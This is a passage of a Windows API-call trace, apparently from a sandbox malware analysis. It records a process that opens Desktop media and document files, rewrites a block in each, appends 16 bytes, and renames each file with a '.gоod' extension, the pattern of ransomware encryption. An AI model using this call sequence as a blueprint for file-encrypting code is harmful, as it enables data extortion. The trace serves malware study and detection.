lpBuffer="C:\\Users\\FD1HVy\\Desktop\\9Pdlu2bM1qiL.avi", lpFilePart=0x0) returned 0x28 [0187.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0187.029] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9Pdlu2bM1qiL.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\9pdlu2bm1qil.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0187.030] GetFileType (hFile=0x7f8) returned 0x1 [0187.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0187.030] GetFileType (hFile=0x7f8) returned 0x1 [0187.030] WriteFile (in: hFile=0x7f8, lpBuffer=0x3673910*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x3673910*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0187.030] CloseHandle (hObject=0x7f8) returned 1 [0187.030] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\9Pdlu2bM1qiL.avi", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\9Pdlu2bM1qiL.avi", lpFilePart=0x0) returned 0x28 [0187.030] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\9Pdlu2bM1qiL.avi.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\9Pdlu2bM1qiL.avi.gоod", lpFilePart=0x0) returned 0x2d [0187.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0187.030] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\9Pdlu2bM1qiL.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\9pdlu2bm1qil.avi"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14726aa0, ftCreationTime.dwHighDateTime=0x1d4cde3, ftLastAccessTime.dwLowDateTime=0xb7a93b70, ftLastAccessTime.dwHighDateTime=0x1d4d376, ftLastWriteTime.dwLowDateTime=0x6bb00c20, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x938b)) returned 1 [0187.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0187.030] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\9Pdlu2bM1qiL.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\9pdlu2bm1qil.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\9Pdlu2bM1qiL.avi.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\9pdlu2bm1qil.avi.gоod")) returned 1 [0187.032] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUKPJ83W4.wav", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\CUKPJ83W4.wav", lpFilePart=0x0) returned 0x25 [0187.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0187.032] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUKPJ83W4.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\cukpj83w4.wav"), fInfoLevelId=0x0, lpFileInformation=0x392a0a0 | out: lpFileInformation=0x392a0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f3a4520, ftCreationTime.dwHighDateTime=0x1d4c5fe, ftLastAccessTime.dwLowDateTime=0x65edc910, ftLastAccessTime.dwHighDateTime=0x1d4c89d, ftLastWriteTime.dwLowDateTime=0x65edc910, ftLastWriteTime.dwHighDateTime=0x1d4c89d, nFileSizeHigh=0x0, nFileSizeLow=0x10f58)) returned 1 [0187.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0187.032] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUKPJ83W4.wav", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\CUKPJ83W4.wav", lpFilePart=0x0) returned 0x25 [0187.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0187.032] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUKPJ83W4.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\cukpj83w4.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0187.032] GetFileType (hFile=0x7f8) returned 0x1 [0187.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0187.033] GetFileType (hFile=0x7f8) returned 0x1 [0187.033] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0187.033] ReadFile (in: hFile=0x7f8, lpBuffer=0x392a438, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x392a438*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0187.033] CloseHandle (hObject=0x7f8) returned 1 [0187.033] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUKPJ83W4.wav", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\CUKPJ83W4.wav", lpFilePart=0x0) returned 0x25 [0187.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0187.033] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUKPJ83W4.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\cukpj83w4.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0187.033] GetFileType (hFile=0x7f8) returned 0x1 [0187.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0187.033] GetFileType (hFile=0x7f8) returned 0x1 [0187.033] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x10f58 [0187.033] WriteFile (in: hFile=0x7f8, lpBuffer=0x392b690*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x392b690*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0187.034] CloseHandle (hObject=0x7f8) returned 1 [0187.034] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUKPJ83W4.wav", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\CUKPJ83W4.wav", lpFilePart=0x0) returned 0x25 [0187.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0187.034] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUKPJ83W4.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\cukpj83w4.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0187.034] GetFileType (hFile=0x7f8) returned 0x1 [0187.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0187.034] GetFileType (hFile=0x7f8) returned 0x1 [0187.034] ReadFile (in: hFile=0x7f8, lpBuffer=0x392d910, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x392d910*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0187.512] CloseHandle (hObject=0x7f8) returned 1 [0187.512] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUKPJ83W4.wav", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\CUKPJ83W4.wav", lpFilePart=0x0) returned 0x25 [0187.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0187.512] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUKPJ83W4.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\cukpj83w4.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0187.512] GetFileType (hFile=0x7f8) returned 0x1 [0187.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0187.512] GetFileType (hFile=0x7f8) returned 0x1 [0187.512] WriteFile (in: hFile=0x7f8, lpBuffer=0x36ca2f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x36ca2f8*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0187.513] CloseHandle (hObject=0x7f8) returned 1 [0187.513] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUKPJ83W4.wav", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\CUKPJ83W4.wav", lpFilePart=0x0) returned 0x25 [0187.513] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUKPJ83W4.wav.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\CUKPJ83W4.wav.gоod", lpFilePart=0x0) returned 0x2a [0187.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0187.513] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUKPJ83W4.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\cukpj83w4.wav"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f3a4520, ftCreationTime.dwHighDateTime=0x1d4c5fe, ftLastAccessTime.dwLowDateTime=0x65edc910, ftLastAccessTime.dwHighDateTime=0x1d4c89d, ftLastWriteTime.dwLowDateTime=0x6bf9f789, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10f68)) returned 1 [0187.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0187.513] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\CUKPJ83W4.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\cukpj83w4.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\CUKPJ83W4.wav.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\cukpj83w4.wav.gоod")) returned 1 [0187.514] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\EE8wxCjm7.docx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\EE8wxCjm7.docx", lpFilePart=0x0) returned 0x26 [0187.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0187.514] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\EE8wxCjm7.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\ee8wxcjm7.docx"), fInfoLevelId=0x0, lpFileInformation=0x3b445e8 | out: lpFileInformation=0x3b445e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5a7ea00, ftCreationTime.dwHighDateTime=0x1d4c73d, ftLastAccessTime.dwLowDateTime=0xc7ac9b20, ftLastAccessTime.dwHighDateTime=0x1d4d20e, ftLastWriteTime.dwLowDateTime=0xc7ac9b20, ftLastWriteTime.dwHighDateTime=0x1d4d20e, nFileSizeHigh=0x0, nFileSizeLow=0x4f6d)) returned 1 [0187.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0187.514] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\EE8wxCjm7.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\EE8wxCjm7.docx", lpFilePart=0x0) returned 0x26 [0187.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0187.514] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\EE8wxCjm7.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\ee8wxcjm7.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0187.515] GetFileType (hFile=0x7f8) returned 0x1 [0187.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0187.515] GetFileType (hFile=0x7f8) returned 0x1 [0187.515] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0187.515] ReadFile (in: hFile=0x7f8, lpBuffer=0x3b44980, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3b44980*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0187.515] CloseHandle (hObject=0x7f8) returned 1 [0187.515] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\EE8wxCjm7.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\EE8wxCjm7.docx", lpFilePart=0x0) returned 0x26 [0187.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0187.516] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\EE8wxCjm7.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\ee8wxcjm7.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0187.516] GetFileType (hFile=0x7f8) returned 0x1 [0187.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0187.516] GetFileType (hFile=0x7f8) returned 0x1 [0187.516] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x4f6d [0187.516] WriteFile (in: hFile=0x7f8, lpBuffer=0x3b45bd8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x3b45bd8*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0187.516] CloseHandle (hObject=0x7f8) returned 1 [0187.517] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\EE8wxCjm7.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\EE8wxCjm7.docx", lpFilePart=0x0) returned 0x26 [0187.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0187.517] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\EE8wxCjm7.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\ee8wxcjm7.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0187.517] GetFileType (hFile=0x7f8) returned 0x1 [0187.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0187.517] GetFileType (hFile=0x7f8) returned 0x1 [0187.517] ReadFile (in: hFile=0x7f8, lpBuffer=0x3b47e58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x3b47e58*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0188.309] CloseHandle (hObject=0x7f8) returned 1 [0188.309] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\EE8wxCjm7.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\EE8wxCjm7.docx", lpFilePart=0x0) returned 0x26 [0188.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0188.310] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\EE8wxCjm7.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\ee8wxcjm7.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0188.310] GetFileType (hFile=0x7f8) returned 0x1 [0188.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0188.310] GetFileType (hFile=0x7f8) returned 0x1 [0188.310] WriteFile (in: hFile=0x7f8, lpBuffer=0x3715788*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x3715788*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0188.310] CloseHandle (hObject=0x7f8) returned 1 [0188.453] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\EE8wxCjm7.docx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\EE8wxCjm7.docx", lpFilePart=0x0) returned 0x26 [0188.453] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\EE8wxCjm7.docx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\EE8wxCjm7.docx.gоod", lpFilePart=0x0) returned 0x2b [0188.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0188.453] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\EE8wxCjm7.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\ee8wxcjm7.docx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5a7ea00, ftCreationTime.dwHighDateTime=0x1d4c73d, ftLastAccessTime.dwLowDateTime=0xc7ac9b20, ftLastAccessTime.dwHighDateTime=0x1d4d20e, ftLastWriteTime.dwLowDateTime=0x6c738d9b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f7d)) returned 1 [0188.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0188.453] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\EE8wxCjm7.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\ee8wxcjm7.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\EE8wxCjm7.docx.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\ee8wxcjm7.docx.gоod")) returned 1 [0188.595] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\FbuxnMa_peQfh.wav", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\FbuxnMa_peQfh.wav", lpFilePart=0x0) returned 0x29 [0188.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0188.595] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\FbuxnMa_peQfh.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\fbuxnma_peqfh.wav"), fInfoLevelId=0x0, lpFileInformation=0x3779d60 | out: lpFileInformation=0x3779d60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37f16af0, ftCreationTime.dwHighDateTime=0x1d4d070, ftLastAccessTime.dwLowDateTime=0x553ec690, ftLastAccessTime.dwHighDateTime=0x1d4c614, ftLastWriteTime.dwLowDateTime=0x553ec690, ftLastWriteTime.dwHighDateTime=0x1d4c614, nFileSizeHigh=0x0, nFileSizeLow=0x18e7e)) returned 1 [0188.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0188.595] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\FbuxnMa_peQfh.wav", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\FbuxnMa_peQfh.wav", lpFilePart=0x0) returned 0x29 [0188.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0188.595] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\FbuxnMa_peQfh.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\fbuxnma_peqfh.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0188.595] GetFileType (hFile=0x630) returned 0x1 [0188.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0188.595] GetFileType (hFile=0x630) returned 0x1 [0188.595] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0188.595] ReadFile (in: hFile=0x630, lpBuffer=0x377a118, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x377a118*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0188.596] CloseHandle (hObject=0x630) returned 1 [0188.596] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\FbuxnMa_peQfh.wav", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\FbuxnMa_peQfh.wav", lpFilePart=0x0) returned 0x29 [0188.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0188.596] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\FbuxnMa_peQfh.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\fbuxnma_peqfh.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0188.596] GetFileType (hFile=0x630) returned 0x1 [0188.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0188.596] GetFileType (hFile=0x630) returned 0x1 [0188.596] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x18e7e [0188.597] WriteFile (in: hFile=0x630, lpBuffer=0x377b380*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x377b380*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0188.597] CloseHandle (hObject=0x630) returned 1 [0192.223] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\FbuxnMa_peQfh.wav", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\FbuxnMa_peQfh.wav", lpFilePart=0x0) returned 0x29 [0192.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0192.224] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\FbuxnMa_peQfh.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\fbuxnma_peqfh.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0192.224] GetFileType (hFile=0x7c8) returned 0x1 [0192.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0192.224] GetFileType (hFile=0x7c8) returned 0x1 [0192.224] ReadFile (in: hFile=0x7c8, lpBuffer=0x356a2b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x356a2b0*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0192.249] CloseHandle (hObject=0x7c8) returned 1 [0192.249] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\FbuxnMa_peQfh.wav", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\FbuxnMa_peQfh.wav", lpFilePart=0x0) returned 0x29 [0192.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0192.249] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\FbuxnMa_peQfh.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\fbuxnma_peqfh.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0192.249] GetFileType (hFile=0x7c8) returned 0x1 [0192.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0192.250] GetFileType (hFile=0x7c8) returned 0x1 [0192.250] WriteFile (in: hFile=0x7c8, lpBuffer=0x3569038*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x3569038*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0193.454] CloseHandle (hObject=0x7c8) returned 1 [0193.602] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\FbuxnMa_peQfh.wav", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\FbuxnMa_peQfh.wav", lpFilePart=0x0) returned 0x29 [0193.602] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\FbuxnMa_peQfh.wav.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\FbuxnMa_peQfh.wav.gоod", lpFilePart=0x0) returned 0x2e [0193.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0193.602] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\FbuxnMa_peQfh.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\fbuxnma_peqfh.wav"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: 